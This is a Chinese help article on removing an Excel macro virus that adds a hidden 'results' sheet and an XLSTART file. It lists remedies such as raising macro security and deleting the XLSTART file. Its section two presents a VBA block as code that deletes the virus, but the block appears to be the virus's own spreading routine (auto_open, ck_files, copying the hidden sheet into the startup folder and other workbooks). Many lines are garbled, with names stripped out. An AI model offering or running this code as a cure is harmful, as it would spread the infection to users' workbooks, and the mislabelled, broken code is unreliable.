2024年8月22日发(作者：)
EXCEL中宏毒1的解决办法
EXCEL中宏毒1的解决办法
一般来说，EXCEL是不容易中毒的，要中毒的话，就会中宏代码的毒。如果您的
EXCEL中了1的毒，请使用如下的方法来解决。
一、常规方法
使用杀毒软件扫描全盘文件，然后，进入安全模式再删除相应文件即可。
二、使用EXCEL来解决
①禁止宏运行
将EXCEL的安全级别设置为最高，这样，1宏就不能运行了。之后，
打开EXCEL，将宏删除即可。
删除方法为：工具→宏→宏→删除。
②使用宏代码删除此毒
删除1宏毒的宏代码如下：
Sub auto_open()
tActivate = "ck_files"
End Sub
Sub ck_files()
c$ = pPath
m$ = Dir(c$ & "" & "")
If m$ = "" Then p = 1 Else p = 0
If > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Updating = False
n4$ =
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ =
c4$ = CurDir()
ChDir pPath
e = False
Workbooks(newname$).SaveAs FileName:=pPath & "/" &
"", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
tActivate = ""
Updating = True
tActivate = "!ck_files"
Case 1
Updating = False
n4$ =
p4$ =
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("").Sheets("results").Copy
before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
tActivate = ""
Updating = True
tActivate = "!ck_files"
Case Else
End Select
End Sub
三、最近很多网友发帖求助，打开EXCEL后360跳出杀毒1，接着
EXCEL运行就非常慢，而且打开后不会出现空白工作表，需要手动点击新建，ALT+F11
查看文件内自动增加了一个RESULTS模块。
恶意程序
病毒类型：宏病毒
病毒行为：
1. 将工作表的激活事件指定为“ck_files”。
2. 在 Excel 的启动目录下生成“”文件并隐藏地打开以便调用其
“ck_files”函数。
3. 在打开的原来已包含宏代码的Excel文件时，插入一个Results模块。
解决方法：
打开有问题的Excel文件，ALT+F11进入VBE编辑框，直接删除模块内的Results，
然后按以下操作：
windows xp用户从以下目录进入：
C:Documents and Settings你的用户名Application
DataMicrosoftExcelXLSTART
windows7用户从以下目录进入：
C:UsersAdministratorAppDataRoamingMicrosoftExcelXLSTART
进入后直接删除文件即可。
发布评论